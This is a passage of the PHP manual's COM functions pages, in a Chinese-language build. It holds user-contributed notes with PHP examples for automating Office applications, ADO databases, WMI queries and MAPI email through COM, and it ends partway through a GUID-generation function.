final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


COM 函数

参见

For further information on COM read the » COM specification. You might find some additional useful information in our FAQ for PHP and COM. If you're thinking of using MS Office applications on the server side, you should read the information here: » Considerations for Server-Side Automation of Office.

Table of Contents

  • com_create_guid — Generate a globally unique identifier (GUID)
  • com_event_sink — Connect events from a COM object to a PHP object
  • com_get_active_object — Returns a handle to an already running instance of a COM object
  • com_load_typelib — 载入 Typelib
  • com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds
  • com_print_typeinfo — Print out a PHP class definition for a dispatchable interface
  • variant_abs — Returns the absolute value of a variant
  • variant_add — "Adds" two variant values together and returns the result
  • variant_and — Performs a bitwise AND operation between two variants
  • variant_cast — Convert a variant into a new variant object of another type
  • variant_cat — Concatenates two variant values together and returns the result
  • variant_cmp — Compares two variants
  • variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp
  • variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp
  • variant_div — Returns the result from dividing two variants
  • variant_eqv — Performs a bitwise equivalence on two variants
  • variant_fix — Returns the integer portion of a variant
  • variant_get_type — Returns the type of a variant object
  • variant_idiv — Converts variants to integers and then returns the result from dividing them
  • variant_imp — Performs a bitwise implication on two variants
  • variant_int — Returns the integer portion of a variant
  • variant_mod — Divides two variants and returns only the remainder
  • variant_mul — Multiplies the values of the two variants
  • variant_neg — Performs logical negation on a variant
  • variant_not — Performs bitwise not negation on a variant
  • variant_or — Performs a logical disjunction on two variants
  • variant_pow — Returns the result of performing the power function with two variants
  • variant_round — Rounds a variant to the specified number of decimal places
  • variant_set_type — Convert a variant into another type "in-place"
  • variant_set — Assigns a new value for a variant object
  • variant_sub — Subtracts the value of the right variant from the left variant value
  • variant_xor — Performs a logical exclusion on two variants

User Contributed Notes

Sorin Negulescu 05-Nov-2016 10:49
I have spent a lot of hours trying to make word.application work on a Windows Server using Apache as a service.
The application was working if Apache was started from command line (not as a service).

In the hope that this will help others not to lose hours of trying to solve this problem here is what I found out:

- In php.ini make sure you have the following key under the [COM_DOT_NET]: extension=php_com_dotnet.dll
- Apache shall run under a normal user account (not SYSTEM account). Run services.msc and fill-in the info of the user under the Apache service's Properties tab.
- Make sure you are able to start MS Word normally under that user account and dismiss all the dialogs that may appear (license, your info with initials, etc.). Start Word once again and make sure no dialogs appear.
- Launch dcomcnfg.exe->Console Root->Component Services->Computers->My Computer->DCOM Config->Microsoft Office Word 97 - 2003->Right Click(Properties)->Identity Tab and fill in the same user account information as for Apache service.
- If you cannot find the Microsoft Office Word 97 - 2003, make sure you are launching the correct DCOM Config (64 bit vs 32 bit) depending on what version of Office you have installed. To launch the 32 bit version run: mmc comexp.msc /32

Before following the steps described above, the winword.exe app appears in task manager but, if you look at the memory consumption you can notice two things:
- it increases slowly
- it stops usually at about 7-8 MB.

Keywords: COM, word.application, Apache, service, winword, timeout, no error
larrywalker at at chelseagroton dot com 02-Sep-2008 08:53
To run a php script in a background process and pass it you var use

<?php

$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("c:\\xampp\\php\\php.exe

c:\\xampp\\Not_on_Web\\ftptestback.php --user=$username", 7, false);

?>

Works for me.
monica at digitaldesignservices dot com 27-Dec-2007 02:41
Working with Word 2003 COM object.

Have you been trying to work with the Word.Application COM and the Word Document would crash and the PHP script would hang?

Turns out that there is an issue within the Office COM object that doesn't let the web application (IIS, Apache) scripting engine release the object after instancing the COM.  The Service Pack 3 office update claims to remedy this.  Will test and post findings.
tomfmason at nospam-gmail dot com 08-Oct-2007 07:26
To get the cpu load percentage you can do something like this.

<?php
$wmi = new COM('winmgmts://');
$processor = $wmi->ExecQuery("SELECT * FROM Win32_Processor");
foreach($processor as $obj){
    $cpu_load_time = $obj->LoadPercentage;
}
echo $cpu_load_time;
?>

reference http://msdn2.microsoft.com/en-us/library/aa394373.aspx

To list current apache instances

<?php
$wmi = new COM('winmgmts://');
$processes = $wmi->ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'httpd.exe'");
foreach($processes as $process){
    echo $process->CommandLine . "<br />";
    echo $process->ProcessId . "<br />";
}
?>

reference http://msdn2.microsoft.com/en-us/library/aa394372.aspx

To run a php script in a background process

<?php
$dir = "C:\\path\\to\\dir";
$php_path = "C:\\path\\to\\php.exe";
$file = "somescript.php";
//send time current timestamp
$cmd_options = "-t " . time();
$wscript = new COM('WScript.Shell');
$wscript->Run("cmd /K CD $php_path $dir\\$file  &  ", 0, false);
?>

Enjoy

Tom
naveed at php dot net 10-Mar-2007 05:24
Here is a spell check implementation that displays the suggestion list for each misspelled word.

<?php
function SpellCheck($input)
{
    $word=new COM("word.application") or die("Cannot create Word object");
    $word->Visible=false;
    $word->WindowState=2;
    $word->DisplayAlerts=false;
    $doc=$word->Documents->Add();
    $doc->Content=$input;
    $doc->CheckSpelling();
    $result= $doc->SpellingErrors->Count;
    if($result!=0)
    {
        echo "Input text contains misspelled words.\n\n";
        for($i=1; $i <= $result; $i++)
        {
            echo "Original Word: " .$doc->SpellingErrors[$i]->Text."\n";
            $list=$doc->SpellingErrors[$i]->GetSpellingSuggestions();
            echo "Suggestions: ";
            for($j=1; $j <= $list->Count; $j++)
            {
                $correct=$list->Item($j);
                echo $correct->Name.",";
            }
            echo "\n\n";
        }
    }
    else
    {
        echo "No spelling mistakes found.";
    }
    $word->ActiveDocument->Close(false);
    $word->Quit();
    $word->Release();
    $word=null;
}

$str="Hellu world. There is a spellling error in this sentence.";
SpellCheck($str);
?>
Francois-R dot Boyer at PolyMtl dot ca 13-Feb-2007 08:32
I had the problem when trying to call Access VBA scripts from PHP; the call was working but Access would never quit.  The problem was that the Apache server is running as SYSTEM, and not a user we normally use to run Office.  And as the first time a user runs Office, it asked the SYSTEM user to enter its name and initials! ;-)

To correct this problem: Stop Apache, go to Services, Apache, Properties, "Log On" tab, and check "Allow service to interact with desktop.  Restart Apache, then open your office application, in a page loaded by the Apache server, with a small PHP code like this, :

<?php
$app = new COM("Access.Application"); // or Word.Application or Excel.Application ...
$app->Visible = true; // so that we see the window on screen
?>

Put the name you want and quit the application.  Now your Office application should terminate correctly the next time you load it with a COM object in PHP.  You can stop Apache uncheck the "Allow service to interact with desktop", and restart Apache if you like.  I don't even require a Quit or anything to be sent to Access, it quits automatically when PHP terminates.

And for those who wish to know how I'm calling Access VBA scripts, instead of using ODBC or any other way to send SQL requests, which does not seem to work to call VBA scripts, I open the database as a COM object and it works fine:

<?php
$db_com = new COM("pathname of the file.mdb");
$result = $db_com->Application->Run("function_name", 'param1', 'param2', '...');
?>
03-Oct-2006 04:11
If someone want to get a COM object out of a DCOM object can do something like that:

<?php
  $dcom_obj = new COM('dacom.object','remotehost') or die("Unable to get DCOM object!");
  $com_obj = new Variant(NULL);
  $dcom_obj->Get_Module($com_obj); //user function which returns a custom IDispatch (casted as variant*)
?>

Hopefully this will help someone, because it took me quite long to figure this out.
kiotech at hotmail dot com 18-Jul-2006 06:35
For use parameters with PHP this is a Code Example

<?php
$ObjectFactory= New COM("CrystalReports11.ObjectFactory.1");
  $crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
  $creport = $crapp->OpenReport("//report1.rpt", 1);

      $z= $creport->ParameterFields(1)->SetCurrentValue("Mango");
      $z= $creport->ParameterFields(2)->SetCurrentValue(5000);

  $creport->ExportOptions->DiskFileName="reportin.pdf";
  $creport->ExportOptions->PDFExportAllPages=true;
  $creport->ExportOptions->DestinationType=1;   $creport->ExportOptions->FormatType=31;
  $creport->Export(false);

$len = filesize("reportin.pdf");
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=reportin.pdf");
readfile("reportin.pdf");
?>
a dot kulikov at pool4tool dot com 13-Mar-2006 09:36
In case you are wondering how to group rows or columns in the freshly created EXCEL files, then this may help you

<?php
   /***
    * Grouping Rows optically in Excel Using a COM Object
    *
    * That was not easy, I have spent several hours of trial and error to get
    * this thing to work!!!
    *
    * @author Kulikov Alexey <a.kulikov@gmail.com>
    * @since  13.03.2006
    *
    * @see    Open Excel, Hit Alt+F11, thne Hit F2 -- this is your COM bible
    ***/

   //starting excel
   $excel = new COM("excel.application") or die("Unable to instanciate excel");
   print "Loaded excel, version {$excel->Version}\n";

   //bring it to front
   #$excel->Visible = 1;//NOT

   //dont want alerts ... run silent
   $excel->DisplayAlerts = 0;

   //create a new workbook
   $wkb = $excel->Workbooks->Add();

   //select the default sheet
   $sheet=$wkb->Worksheets(1);

   //make it the active sheet
   $sheet->activate;

   //fill it with some bogus data
   for($row=1;$row<=7;$row++){
       for ($col=1;$col<=5;$col++){

          $sheet->activate;
          $cell=$sheet->Cells($row,$col);
          $cell->Activate;
          $cell->value = 'pool4tool 4eva ' . $row . ' ' . $col . ' ak';
       }//end of colcount for loop
   }

   ///////////
   // Select Rows 2 to 5
   $r = $sheet->Range("2:5")->Rows;

   // group them baby, yeah
   $r->Cells->Group;

   // save the new file
   $strPath = 'tfile.xls';
   if (file_exists($strPath)) {unlink($strPath);}
   $wkb->SaveAs($strPath);

   //close the book
   $wkb->Close(false);
   $excel->Workbooks->Close();

   //free up the RAM
   unset($sheet);

   //closing excel
   $excel->Quit();

   //free the object
   $excel = null;
?>
Pedro Heliodoro 05-Mar-2006 02:38
Using the Windows Media Player OCX and the latest snap of PHP 5.1 i was able to eject a CD-ROM drive

<?php
//create an instance of Windows Media Player
$mp = new COM("WMPlayer.OCX");
//ejects the first cd-rom on the drive list
$mp->cdromcollection->item(0)->eject();

?>
allan666 at gmail dot com 29-Sep-2005 03:37
If you are using a COM object that opens windows or dialogs (like Office applications), those windows or dialogs will not appear and will stay invisible even if you use codes like

$word->visible = true;

To solve this problem, go to the web service properties (Administrative Tools) and click (in the Logon TAB) "Allow the Service to Iterate with desktop".

This explain lots of problems to close applications. When you try to close, the dialos asking to save the file must appear, but only in the option to iterate with desktop is on.

Hope it helps.
bruce at yourweb dot com dot au 23-Apr-2005 05:47
Simple convert xls to csv
<?php
// starting excel
$excel = new COM("excel.application") or die("Unable to instanciate excel");
print "Loaded excel, version {$excel->Version}\n";

//bring it to front
#$excel->Visible = 1;//NOT
//dont want alerts ... run silent
$excel->DisplayAlerts = 0;

//open  document
$excel->Workbooks->Open("C:\\mydir\\myfile.xls");
//XlFileFormat.xlcsv file format is 6
//saveas command (file,format ......)
$excel->Workbooks[1]->SaveAs("c:\\mydir\\myfile.csv",6);

//closing excel
$excel->Quit();

//free the object
$excel->Release();
$excel = null;
?>
michael at example dot com 23-Feb-2005 12:42
After alot of trouble with IIS 6/Windows 2003 and PHP 5.0.2 I figured out how to use Imagemagick COM+/OLE interface. Seems you have to recreate the COM object after each convert() otherwise it will sometimes fail with very strange errors, since the PHP COM interface is not as stable as the old ASP one apparently is.
06-Jan-2005 09:11
if you want to add a new hyperlink with excel :

<?php
$cell=$sheet->Range('O'.$j);
$cell->Hyperlinks->Add($cell ,'here_your_file');
?>

I write this note because is very difficult to find
the good method to do that .

Merci beaucoup
sorin dot andrei at mymail dot ro 25-Sep-2004 02:24
[Editor's Note:
Serializing the object, storing it and then (on the next page) unserializing it WILL work.
End Note]

the big problem for PHP is it can't save in session an COM object

an samples code is here. This works just first time, then give the error:
Call to undefined method com::Refresh() on line  $mMap->Refresh();
the reson is he can't save the object $mMap in session

<?php
    session_start();
      if (isset($_SESSION['map'])) {
            $mMap = $_SESSION['map'];
        }
        else
        {
        $ArcIMSConnector = new COM ("aims.ArcIMSConnector")  or die("can not create AIMS message object");
            echo "Loaded ArcIMSConnector, <br>";
            $ArcIMSConnector->ServerName = "map.sdsu.edu";
            $ArcIMSConnector->ServerPort = 5300;

            $mMap = new COM ("aims.Map")  or die("can not create aims.Map message object");
            echo "Loaded aims.Map, <br>";
            print "AIMS-ServerName= $ArcIMSConnector->ServerName <br>";

            $resultInit= $mMap->InitMap($ArcIMSConnector,"Worldgeography");

            $mMap->Width    = 400;            //                                'Width of the map in pixels
            $mMap->Height   = 300;            //                                'Height of the map in pixels
            $mMap->BackColor = 15130848;
            $_SESSION['map'] = $mMap;
        }

    $resultRefresh = $mMap->Refresh();                                //Refresh the map
    $urlImage      = $mMap->GetImageAsUrl();
    print "<br>urlImage=$urlImage<br>";

    print "<br><IMG SRC='$urlImage'>";

/*
    $ArcIMSConnector->Release();
    $ArcIMSConnector = null;

    $mMap->Release();
    $mMap = null;
*/

?>
ferozzahid [at] usa [dot] com 24-Aug-2004 12:06
To pass a parameter by reference to a COM function, you need to pass VARIANT to it. Common data types like integers and strings will not work for it.

As an example, calling a function that retrieves the name of a person will look like:

<?php
$Name = new VARIANT;

$comobj = new COM("MyCOMOBj.Component") or die("Couldn't create the COM Component");

if(!$comobj->GetName($Name)) {
    echo("Could not retrieve name");
}
else {
    echo("The name retrieved is : " . $Name->value);
}
?>

$Name->type will contain the type of the value stored in the VARIANT e.g. VT_BSTR.

Note For PHP 5:

Insted of '$Name->value', we can use only '$Name' for getting the value stored in the VARIANT. To get the type of the value stored in the VARIANT, use 'variant_get_type($Name)'.

Feroz Zahid
Shawn Coppock 11-Aug-2004 01:15
For those of us that are not experts with object models, if you have Microsoft Excel or Microsoft Word available, go into the Visual Basic Editor (Alt+F11). Now you can open the object browser window (F2) and see what you find.

If you select "Word" in the object browser, then the classes and members of that class are displayed below. For example, if you click on "Selection" in the classes column, and then "Font" in the members column, you will then see "Property Font As Font Member of Word.Selection" displayed at the bottom. Click on the "Font" link there.

Click on Word "Selection" again in the classes column, and then "PageSetup" in the members column, you will then see "Property PageSetup As PageSetup Member of word.Selection" displayed at the bottom. Click on the "PageSetup" link there.

Using the above examples, you can now formulate your Word Document from php. Here is a simple example that creates a 1 & 1/2" space for text based on the margin settings & with dark red text and an 8pt Helvetica font face:

<?php
$content = "Insert Sample Text Here\n\nThis starts a new paragraph line.";
$word= new COM("word.application") or die("Unable to create Word document");
print "Loaded Word, version {$word->Version}\n";
$word->Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = '3"';
$word->Selection->PageSetup->RightMargin = '4"';
$word->Selection->Font->Name = 'Helvetica';
$word->Selection->Font->Size = 8;
$word->Selection->Font->ColorIndex= 13; //wdDarkRed = 13
$word->Selection->TypeText("$content");
$word->Documents[1]->SaveAs("some_tst.doc");
$word->quit();
echo "done";
?>

This example (and others) worked for me with Microsoft Word 10.0 Object Library (MS Word 2002), Apache & PHP on Windows XP. Experimenting using the Visual Basic editor will yield some amazing documents from PHP as it will help you see the relationships of the objects used and give you an idea as to how to construct your code. But be prepared for an occaisional PHP.exe crash if your code is way off base.

Hope this helps!
angelo [at] mandato <dot> com 18-May-2004 04:30
Useful PHP functions I created (similar to other standard PHP database functions) for working with an ADO datasource:
<?php
    // ado.inc.php

    $ADO_NUM = 1;
    $ADO_ASSOC = 2;
    $ADO_BOTH = 3;

    function ado_connect( $dsn )
    {
        $link = new COM("ADODB.Connection");
        $link->Open($dsn);
        return $link;
    }

    function ado_close( $link )
    {
        $link->Close();
    }

    function ado_num_fields( $rs )
    {
        return $rs->Fields->Count;
    }

    function ado_error($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Number;
    }

    function ado_errormsg($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Description;
    }

    function ado_fetch_array( $rs, $result_type,  $row_number = -1 )
    {
        global $ADO_NUM, $ADO_ASSOC, $ADO_BOTH;
        if( $row_number > -1 ) // Defined in adoint.h - adBookmarkFirst    = 1
            $rs->Move( $row_number, 1 );

        if( $rs->EOF )
            return false;

        $ToReturn = array();
        for( $x = 0; $x < ado_num_fields($rs); $x++ )
        {
            if( $result_type == $ADO_NUM || $result_type == $ADO_BOTH )
                $ToReturn[ $x ] = $rs->Fields[$x]->Value;
            if( $result_type == $ADO_ASSOC || $result_type == $ADO_BOTH )
                $ToReturn[ $rs->Fields[$x]->Name ] = $rs->Fields[$x]->Value;
        }
        $rs->MoveNext();
        return $ToReturn;
    }

    function ado_num_rows( $rs )
    {
        return $rs->RecordCount;
    }

    function ado_free_result( $rs )
    {
        $rs->Close();
    }

    function ado_query( $link, $query )
    {
        return $link->Execute($query);
    }

    function ado_fetch_assoc( $rs,  $row_number = -1 )
    {
        global $ADO_ASSOC;
        return  ado_fetch_array( $rs, $ADO_ASSOC, $row_number);
    }

    function ado_fetch_row( $rs,  $row_number = -1 )
    {
        global $ADO_NUM;
        return ado_fetch_array( $rs, $ADO_NUM, $row_number);
    }

    // Extra functions:
    function ado_field_len( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Precision;
    }

    function ado_field_name( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Name;
    }

    function ado_field_scale( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->NumericScale;
    }

    function ado_field_type( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Type;
    }

?>

The aod version was a typo.
mark dickens at mindspring dot com 29-Feb-2004 08:03
Just a note to those wanting to use COM to interface to printers under Windows 2000/XP.  If it doesn't work or seems to hang, try changing the logon identity under which the Apache (assuming you're using Apache) service is running from the System account to another account.  By default most services will install to run under the System account and although the System account has total authority on the computer it is running on, it has no authority outside of that realm as I understand it.  Apparently accessing printers is considered "outside the realm".  I used this technique to interface a Dymo thermal label printer to my server and it works now.
alanraycom at el hogar dot net com 03-Dec-2003 03:50
XSLT transformations using MSXML can be done with this code

<?php
function xsltransform1($xslpath,$xmlstring)
 {
  $xml= new COM("Microsoft.XMLDOM");
  $xml->async=false;
  // $xmlstring is an xml string
  $xml->load($xmlstring);
  $xsl = new COM("Microsoft.XMLDOM");
  $xsl->async=false;
  // $xslpath is path to an xsl file
  $xsl->load($xslpath);
  $response=$xml->transformNode($xsl);
  unset($xml);
  unset($xsl);
  return $response;
 }
?>

enjoy
Alan Young
chris at hitcatcher dot com 01-Dec-2003 04:19
Many COM objects don't do well when passing long (win32) filenames as function parameters.  You can get the 8.3 name of the folder or file on *most* (some win platforms don't support it, and it can be toggled off in the registry for performance reasons) servers using the following:

<?php
//create FSO instance
$exFSO = new COM("Scripting.FileSystemObject") or die ("Could not create Scripting.FileSystemObject");

//set vars
$myDir = "C:\\Program Files\\";
$myFile = "a long file name.txt";

//get folder & file objects
$exDir = $exFSO->GetFolder($myDir);
$exFile = $exFSO->GetFile($myDir . $myFile);
echo $exDir->ShortPath;
echo $exFile->ShortPath;
?>
23-Nov-2003 09:57
Here is an example of reading the custom properties like Author, Keywords, etc. which are stored in MS Office and other Windows files. You must install and register dsofile as described at http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q224351. The .frm file in that distribution lists most of the available properties.

<?php
// the file you wish to access
$fn = '/docs/MFA.xls';

$oFilePropReader = new COM('DSOleFile.PropertyReader');
$props = $oFilePropReader->GetDocumentProperties($fn);

// one syntax
$au = com_get($props, 'Author');
print "au: $au \n";

//another syntax
$str = 'LastEditedBy';
$lsb = $props->$str;
var_dump($lsb);

// set a property if you wish
if (!$props->IsReadOnly()) {
  $props->Subject = 'tlc';
}
?>
brana 17-Nov-2003 05:17
How to send email via MAPI (works with Windows NT4, apache launched as a service)

<?php
#New MAPI session...
$session = new COM("MAPI.Session");

#Login
$strProfileInfo = "exchange_server" . chr(10) . "exchange_user";
$session->Logon("", "", 0, 1, 0, 1, $strProfileInfo);

# New message...
$msg = $session->Outbox->Messages->Add();
$msg->Subject = "Subject";
$msg->Text = "body";

#set recipients...
$rcpts = $msg->Recipients;
$rcpts->AddMultiple("toto@toto.com", 1);   #To...
$rcpts->AddMultiple("titi@titi.com", 2);   #Cc...
$rcpts->AddMultiple("tutu@tutu.com", 3);   #Bcc...

# Resolve senders
$rcpts->Resolve();

#Send message
$msg->Send();

#Logoff
$session->Logoff();

#Cleanup
if($msg!=null) {
    $msg->Release();
    $msg = null;
}
if($session!=null) {
    $session->Release();
    $session = null;
}
?>

ps : NT account launching the service and exchange user must match !
php at dictim dot com 06-Sep-2003 01:17
This took me days to work out how to do so I gotta share it:

How to get the word count from a MS Word Document:

<?php
#Instantiate the Word component.

$word = new COM("word.application") or die("Unable to instantiate Word");

$word->Visible = 1;

$word->Documents->Open("c:/anydocument.doc");
$temp = $word->Dialogs->Item(228);
$temp->Execute();
$numwords = $temp->Words();

echo $numwords;

$word->Quit();
?>

Note that this is the only way to get the word count accurately:
$word->ActiveDocument->Words->Count;
Will see all carriage returns and punctuation as words so is wildy innaccurate.
tomas dot pacl at atlas dot cz 16-Jun-2003 06:07
Passing parameters by reference in PHP 4.3.2 (and in a future releases of PHP )

In PHP 4.3.2 allow_call_time_pass_reference option is set to "Off" by default and future versions may not support this option any longer.
Some COM functions has by-reference parameters. VARIANT object must be used to call this functions, but it would be passed without an '&' before variable name.

Example:

<?php
$myStringVariant = new VARIANT("over-write me", VT_BSTR);

/* works */
$result = $comobj->DoSomethingTo($myStringVariant );

/* works only with allow_call_time_pass_reference option set to "On" and may not work in a future release of PHP */
$result = $comobj->DoSomethingTo(&$myStringVariant );

/* The value in the variant can be retrieved by: */
$theActualValue = $myStringVariant->value;
?>
php at racinghippo dot co dot uk 22-Mar-2003 05:47
PASSING/RETURNING PARAMETERS BY REFERENCE
=========================================

Some COM functions not only return values through the return value, but also act upon a variable passed to it as a parameter *By Reference*:

RetVal = DoSomethingTo (myVariable)

Simply sticking an '&' in front of myVariable doesn't work - you need to pass it a variant of the correct type, as follows:

  $myStringVariant = new VARIANT("over-write me", VT_BSTR);
  $result = $comobj->DoSomethingTo( &$myStringVariant );

The value in the variant can then be retrieved by:

  $theActualValue = $myStringVariant->value;

Other types of variant can be created as your needs demand - see the preceding section on the VARIANT type.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:51
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
pchason at juno dot com 11-Dec-2002 11:23
Searched for days on how to set up a multi-column html output grid that didn't use an array when creating an ADODB connection. Couldn't find one so I figured it out myself. Pretty simple. Wish I would have tried it myself sooner. Commented code with database connection is below...

<html>
<body>
<table>
<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
$clients = $rs->Fields(1);
//start the multicolumn data output
$i = 0;
$columns = 5;
while (!$rs->EOF){
//if $i equals 0, start a row
if($i == 0){
echo "<tr>";
}
//then start writing the cells in the row, increase $i by one, and move to the next record
echo "<td>" . $clients->value . "</td>";
$i++;
$rs->movenext();
//once $i increments to equal $columns, end the row,
//and start the process over by setting $i to 0
if($i == $columns || $rs->EOF) {
echo "</tr>";
$i = 0;
    }
}
//end multicolumn data output

//close the ADO connections and release resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null; ?>
</table>
</body>
</html>
tedknightusa at hotmail dot com 26-Sep-2002 09:29
A Notes example:

<?php
$session = new COM "Lotus.NotesSession" );
$session->Initialize($password);

$someDB = "C:\Lotus\Notes\Data\somedb.nsf";
$db = $session->GetDatabase("", $someDB) or die("Cannot get someDB.nsf");
$view = $db->GetView("some_view") or die("Some View not found");

$doc = $view->GetFirstDocument() or die("Unable to get Initial Some Document");

// loop through
while($doc){
  $col_vals = $doc->ColumnValues();
  echo $col_vals[0];
  $doc = $view->GetNextDocument($doc);
}
?>
dwt at myrealbox dot com 27-Aug-2002 03:31
When first writing applications instancing COM objects I always faced the problem of the instanced program not terminating correctly although everything else worked fine. In fact the process had to be killed manually by using the task manager. When experimenting a bit I was able to isolate the cause for this peculiar behaviour to be illustrated by the sample code below:

<?php

//Accessing arrays by retrieving elements via function ArrayName(Index) works, but certainly is neither efficient nor good style
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$book=$excel->Workbooks(1);
$sheet=$book->Worksheets(1);

$sheet->Name="Debug-Test";
$book->saveas("C:\\debug.xls");

$book->Close(false);
unset($sheet);
unset($book);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

//Accessing arrays as usual (using the [] operator) works, buts leads to the application not being able to terminate by itself
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$excel->Workbooks[1]->Worksheets[1]->Name="Debug-Test";
$excel->Workbooks[1]->saveas("C:\\debug.xls");

$excel->Workbooks[1]->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

?>

The sample code performs the same action twice and each time the file is properly created. Yet for some mysterious reason the instanced excel process won't terminate once you've accessed an array the way most programmers (especially those who do a lot of oop in c++) do! Therefore until the PHP developers become aware of this problem we'll have to use the inefficient coding style illustrated in the first example.
madon at cma-it dot com 07-Mar-2002 12:59
I thought this excel chart example could be useful.

Note the use of Excel.application vs Excel.sheet.

<pre>
<?php
    print "Hi";
#Instantiate the spreadsheet component.
#    $ex = new COM("Excel.sheet") or Die ("Did not connect");
$exapp = new COM("Excel.application") or Die ("Did not connect");

#Get the application name and version
print "Application name:{$ex->Application->value}<BR>" ;
print "Loaded version: {$ex->Application->version}<BR>";

$wkb=$exapp->Workbooks->add();
#$wkb = $ex->Application->ActiveWorkbook or Die ("Did not open workbook");
print "we opened workbook<BR>";

$ex->Application->Visible = 1; #Make Excel visible.
print "we made excell visible<BR>";

$sheets = $wkb->Worksheets(1); #Select the sheet
print "selected a sheet<BR>";
$sheets->activate; #Activate it
print "activated sheet<BR>";

#This is a new sheet
$sheets2 = $wkb->Worksheets->add(); #Add a sheet
print "added a new sheet<BR>";
$sheets2->activate; #Activate it
print "activated sheet<BR>";

$sheets2->name="Report Second page";

$sheets->name="Report First page";
print "We set a name to the sheet: $sheets->name<BR>";

# fills a columns
$maxi=20;
for ($i=1;$i<$maxi;$i++) {
    $cell = $sheets->Cells($i,5) ; #Select the cell (Row Column number)
    $cell->activate; #Activate the cell
    $cell->value = $i*$i; #Change it to 15000
}

$ch = $sheets->chartobjects->add(50, 40, 400, 100); # make a chartobject

$chartje = $ch->chart; # place a chart in the chart object
$chartje->activate; #activate chartobject
$chartje->ChartType=63;
$selected = $sheets->range("E1:E$maxi"); # set the data the chart uses
$chartje->setsourcedata($selected); # set the data the chart uses
print "set the data the chart uses <BR>";

$file_name="D:/apache/Apache/htdocs/alm/tmp/final14.xls";
if (file_exists($file_name)) {unlink($file_name);}
#$ex->Application->ActiveWorkbook->SaveAs($file_name); # saves sheet as final.xls
$wkb->SaveAs($file_name); # saves sheet as final.xls
print "saved<BR>";

#$ex->Application->ActiveWorkbook->Close("False");
$exapp->Quit();
unset($exapp);
?>

</pre>

Alex Madon


Generate a globally unique identifier (GUID)

  • ? COM 函数
  • com_event_sink ?
  • PHP Manual
  • COM 函数
  • Generate a globally unique identifier (GUID)

com_create_guid

(PHP 5, PHP 7, PHP 8)

com_create_guid — Generate a globally unique identifier (GUID)

说明

com_create_guid(): string|false

Generates a Globally Unique Identifier (GUID).

A GUID is generated in the same way as DCE UUID's, except that the Microsoft convention is to enclose a GUID in curly braces.

参数

此函数没有参数。

返回值

Returns the GUID as a string, 或者在失败时返回 false.

参见

  • uuid_create() in the PECL uuid extension

User Contributed Notes

internmail (at the google mail).com 22-Jan-2020 02:26
function create_guid() { // Create GUID (Globally Unique Identifier)
        $guid = '';
        $namespace = rand(11111, 99999);
        $uid = uniqid('', true);
        $data = $namespace;
        $data .= $_SERVER['REQUEST_TIME'];
        $data .= $_SERVER['HTTP_USER_AGENT'];
        $data .= $_SERVER['REMOTE_ADDR'];
        $data .= $_SERVER['REMOTE_PORT'];
        $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
        $guid = substr($hash,  0,  8) . '-' .
                substr($hash,  8,  4) . '-' .
                substr($hash, 12,  4) . '-' .
                substr($hash, 16,  4) . '-' .
                substr($hash, 20, 12);
        return $guid;
    }
rogervila dot es 10-Sep-2019 02:16
I implemented a com_create_guid implementation for systems that do not support it as a Composer package in order to keep it separated from my applications

https://github.com/rogervila/com_create_guid
Dave Pearson (dave at pds-uk dot com) 14-Apr-2016 10:07
Here's my final version of a GUIDv4 function (based on others work here) that should work on all platforms and gracefully fallback to less cryptographically secure version if others are not supported...

<?php
/**
 * Returns a GUIDv4 string
 *
 * Uses the best cryptographically secure method
 * for all supported pltforms with fallback to an older,
 * less secure version.
 *
 * @param bool $trim
 * @return string
 */
function GUIDv4 ($trim = true)
{
    // Windows
